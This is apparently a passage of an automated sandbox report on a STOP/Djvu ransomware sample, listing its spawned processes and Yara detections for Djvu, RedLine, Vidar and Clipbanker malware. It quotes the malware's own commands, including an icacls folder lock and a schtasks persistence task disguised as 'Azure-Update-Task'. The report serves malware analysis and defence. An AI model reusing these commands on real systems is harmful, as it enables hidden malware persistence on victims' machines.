00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000000.301522504.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: icacls.exePID: 1304, Parent PID: 3692

General

Target ID:	2
Start time:	00:22:10
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x1190000
File size:	29696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: U59WtZz2Sg.exePID: 1272, Parent PID: 3692

General

Target ID:	3
Start time:	00:22:11
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.318350093.00000000020FB000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: U59WtZz2Sg.exePID: 3184, Parent PID: 1084

General

Target ID:	4
Start time:	00:22:11
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.348844154.000000000210E000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: U59WtZz2Sg.exePID: 6132, Parent PID: 1272

General

Target ID:	5
Start time:	00:22:12
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000000.313991274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: U59WtZz2Sg.exePID: 2312, Parent PID: 3184

General

Target ID:	6
Start time:	00:22:15
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000000.321377469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: U59WtZz2Sg.exePID: 5900, Parent PID: 3324

General

Target ID:	7
Start time:	00:22:23
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.350733876.0000000002105000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.351892792.00000000021A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.351892792.00000000021A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: build2.exePID: 1544, Parent PID: 6132

General

Target ID:	8
Start time:	00:22:24
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Imagebase:	0x400000
File size:	264192 bytes
MD5 hash:	B9212DED69FAE1FA1FB5D6DB46A9FB76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.350956103.00000000020D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.349827384.00000000004B9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: U59WtZz2Sg.exePID: 4296, Parent PID: 5900

General

Target ID:	9
Start time:	00:22:26
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.343989029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: build2.exePID: 5364, Parent PID: 1544

General

Target ID:	10
Start time:	00:22:27
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Imagebase:	0x400000
File size:	264192 bytes
MD5 hash:	B9212DED69FAE1FA1FB5D6DB46A9FB76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000000.378213612.0000000000627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000000.347600742.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000000.369240104.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000000.347031103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000000.347942903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000000.347322735.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: build3.exePID: 5972, Parent PID: 6132

General

Target ID:	11
Start time:	00:22:28
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe"
Imagebase:	0xb90000
File size:	9728 bytes
MD5 hash:	9EAD10C08E72AE41921191F8DB39BC16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp, Author: unknown
Reputation:	moderate

Analysis Process: schtasks.exePID: 5880, Parent PID: 5972

General

Target ID:	12
Start time:	00:22:28
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x340000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exePID: 5968, Parent PID: 5880

General

Target ID:	13
Start time:	00:22:28
Start date:	30/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: mstsca.exePID: 4536, Parent PID: 1084

General

Target ID:	14
Start time:	00:22:28
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0xee0000
File size:	9728 bytes
MD5 hash:	9EAD10C08E72AE41921191F8DB39BC16
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, Author: unknown
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	moderate

Analysis Process: schtasks.exePID: 4612, Parent PID: 4536

General

Target ID:	15
Start time:	00:22:29
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x340000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
